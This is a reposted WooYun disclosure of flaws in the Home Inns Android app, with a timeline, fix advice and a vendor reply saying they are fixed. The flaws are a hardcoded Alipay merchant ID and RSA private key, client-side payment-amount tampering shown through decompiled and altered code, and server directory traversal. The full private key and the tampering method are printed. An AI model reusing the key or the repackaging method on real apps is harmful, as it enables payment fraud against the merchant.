[公开漏洞]如家酒店Android客户端程序支付漏洞进敏感信息泄漏

来源:WooYun 浏览:645次 时间:2014-07-15
做网站找雨过天晴工作室
如家酒店Android客户端程序支付漏洞进敏感信息泄漏 相关厂商: 如家酒店集团 漏洞作者:路人甲 提交时间:2014-04-15 15:57 修复时间:2014-07-14 15:57 漏洞类型:设计错误/逻辑缺陷 危害等级:中 自评Rank:9 漏洞状态: 厂商已经修复 漏洞来源:http://www.wooyun.org Tags标签: 客户端程序设计错误 手机应用 如家酒店 漏洞详情 披露状态:

2014-04-15:细节已通知厂商并且等待厂商处理中
2014-04-15:厂商已经确认,细节仅向厂商公开
2014-04-25:细节向核心白帽子及相关领域专家公开
2014-05-05:细节向普通白帽子公开
2014-05-25:细节向实习白帽子公开
2014-07-14:厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

1.如家酒店官方版Android客户端程序的集成支付宝支付功能存在漏洞,原因是支付信息硬编码并且应用代码没有经过混淆和反重打包保护
2.客户端程序中支付成功的回调地址所在Web服务器存在目录遍历漏洞

详细说明:

1.掌上如家App集成了支付宝支付功能,支付所需的商家ID,商户签名私钥都硬编码在代码中并且直接是明文

public class PartnerConfig
{
public static final String ALIPAY_PLUGIN_NAME = "alipay_plugin_20120428msp.apk";
public static final String PARTNER = "2088011831474463";
public static final String RSA_ALIPAY_PUBLIC = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDjYGtHCa4IUMruec0EElEwnqRb0XP2MlcUNQuT ptuUP+7DB6o4kZn70wNFYD/sdt3ovsc9JeAVbVgRxYo3E+oYqoBuxOvGLDKWo/27/3Dr79cbk/Se o2RTNHcwHA75bmDC5QApxZKlnAF5nUWfi8keT5ODBm7lyP778kJ79CktGQIDAQAB";
public static final String RSA_PRIVATE = "MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBANA6mEftVKQXspVuALBjaCdxh666jnwXVE06SDY70hyzUtrcm/IXaXRZZD44URXSh6Hb0Waxl+/ajtXhD3c3xyFBIuGxL9lpWph79B37dVFUUpbI3aZo8PD3HJDXj3Yfl/jRrcGI8ZiuHX/Bwnx9O3psXEpCi9ZJWZ0VG71LaCAvAgMBAAECgYByVLnoRFeFAb38bjnSn8JAZgWp2qUBXY3cGXQs0wu61ntX0GmPs2sjhzGTODjNUptGM/v19u0FtWtX5Asp2mZqzg9gfZfnPNKzxBbV0azV9wVgHQe2+OwI/1+YAScqbthDvSsFz0d6lLBYx4c10YVxmg/jAAOUYkNlqMcF6kWdgQJBAPKKbSGKrLco7mD29CeE1Y3tdG58J/daY4AuSty6bMhZOcyunMO0YsYERJA9IQRDDjlApIoZ5EhIcrfhcuDzCj0CQQDbyLqWTSahKbE6cac0yddhHvcUxqirZDoPoJcFMksXQR5BVaHLZ7ZVEYJHt7A2ah1vFb/Js0Bj7bVgNfl5g7bbAkAmUInW36JTOOsXdEuzpn9Z8WYQQhrKL4RCbo2y+txOdhH0bK0lGWz1HR17r7x0gOdRUg3sJxTx+kftFndgY+R9AkAMvzqbJwRbioh95EOXWzGDr4ETEmaL8jcv2teHdKBIS/2OOoI0wuIfUvGkaTHuJf9pBvDlqODOKuY/G0JJ2urLAkEA5BvmwjhSrUndj4AYGGplKJnRZYAP5QH9Mb7ysE2n+dKPpxULJ9Ys1bV7HodmCDSyxLTqulj3hTmMhJwyF2/hdg==";
public static final String SELLER = "2088011831474463";
}



2.在预定房间并进行到支付宝支付界面时,传入的支付金额未做验证。通过数据流分析方法找到支付金额传入的源,通过修改该处的值,可以修改实际支付金额

public void onClick(View paramView)
{
if ((isAlipay) || (isHomeInnPay))
{
if (paramView.getId() == 2131034246)
getActivity().getIntent().putExtra("payment_pay_price", intent.getIntExtra("first_day_price", 0));
while (true)
{
((PaymentOperateActivity)getActivity()).switchContent(18874371);
return;
getActivity().getIntent().putExtra("payment_pay_price", intent.getIntExtra("total_price", 0));
}
}
noSupportAlert.show();
}



3.提供给支付宝的支付成功回调URL所在Web服务器存在目录遍历漏洞,并且可通过页面http://api.homeinns.com/AlipayNew/Query/export_trade_account_report/Default.aspx

查询如家酒店的支付宝订单

漏洞证明:

1.对于漏洞1,可以利用的途径是篡改商户ID和私钥,改成攻击者在支付宝上注册的商户ID和私钥,从而将现金转入攻击者账号,但未论证攻击。但是在支付宝提供的Demo代码中,将商户ID和私钥设置为如家的,金额正常转入到如家支付宝账号。

TM截图20140415151841.png



2.对于漏洞2,通过反编译App并且修改支付金额参数传入的相关代码,并且重打包应用。安装到手机后,证实该漏洞可以利用

public void onClick(View paramView)
{
if ((isAlipay) || (isHomeInnPay))
{
if (paramView.getId() == 2131034246)
getActivity().getIntent().putExtra("payment_pay_price", 1);
while (true)
{
((PaymentOperateActivity)getActivity()).switchContent(18874371);
return;
getActivity().getIntent().putExtra("payment_pay_price", 1);
}
}
noSupportAlert.show();
}



Screenshot_2014-04-10-16-02-19.png



3.对于漏洞3的证明,如下图:

TM截图20140415153532.png







修复方案:

漏洞修复建议:

1.对掌上如家客户端的代码进行混淆,加大逆向分析难度;

2.支付宝支付参数不要硬编码,支付订单的签名功能可以放在服务器端完成;

3.对客户端程序进行安全加固,启动时检测应用是否被重打包

4.Web服务器进行安全配置,拒绝目录遍历

版权声明:转载请注明来源 路人甲@乌云

漏洞回应 厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-04-15 17:07

厂商回复:

感谢关注!关于漏洞2,我们还有人工流程,可以进行一定的检查。

最新状态:

2014-06-10:漏洞已修复。